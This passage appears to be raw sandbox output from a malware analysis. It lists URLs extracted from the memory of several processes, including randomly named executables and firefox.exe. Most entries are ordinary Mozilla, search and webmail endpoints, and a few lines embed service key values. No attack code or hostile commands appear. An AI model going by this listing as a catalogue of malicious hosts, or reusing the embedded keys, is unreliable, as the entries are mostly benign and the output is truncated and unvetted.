Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000001B.00000002.2966735935.0000022980854000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180resource://gre/modules/TelemetryEnvironment.sys.
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2873733468.0000000005651000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000003.1762031949.0000000005DC5000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2631561373.0000000000CA8000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2905467211.000002297A3AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2899807746.000002296EB30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUsi
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: c077ee22d1.exe, 0000000B.00000003.2676689966.000000000534B000.00000004.00001000.00020000.00000000.sdmp, c077ee22d1.exe, 0000000B.00000002.2717758485.0000000000EBC000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.2978858481.0000266D0B004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2963511722.0000022980488000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2979169469.00002A4A67804000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1715294203.0000000005DEB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715347269.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1715425421.0000000005DE9000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600618224.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600448064.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000A.00000003.2600347557.000000000591B000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774760977.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774335661.000000000567F000.00000004.00000800.00020000.00000000.sdmp, 3e1d30d118.exe, 0000000C.00000003.2774528447.000000000566D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2907951633.000002297A97D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%shttps://mail.yande
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2908621079.000002297AC2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2908621079.000002297AC06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v17e40f68c-7938-4c5d-9f95-e61647c213ebParent
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B952000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000002.2921854257.000002297BC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001B.00000002.2950843311.000002297EB70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788251826.000002297E85D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2788613349.000002297E87B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787902142.000002297E83E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2787522205.000002297E820000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowed/shims/google-ana
Source: firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881The
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2911892808.000002297B923000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001B.00000002.2906389932.000002297A4FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001B.00000002.2934561208.000002297E57C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2929041713.000002297CC7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000002.2959641340.000002297F775000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.2952895873.000002297EECF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2922498934.000002297BD40000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000001B.00000002.2909626556.000002297ADE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%extensions.formautofill.credit
Source: firefox.exe, 0000001B.00000002.2952895873.000002297EEAC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2956958152.000002297F6A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001B.00000002.2886744113.000000FFE0FBB000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001B.00000002.2961962144.00000229802C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001B.00000002.2924713629.000002297C103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2791021566.000002297C133000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2921854257.000002297BC1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2911892808.000002297B9D3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sUnable
Source: firefox.exe, 0000001B.00000002.2909626556.000002297AD71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource:///modules/BrowserContentHandler.sys.mjsh
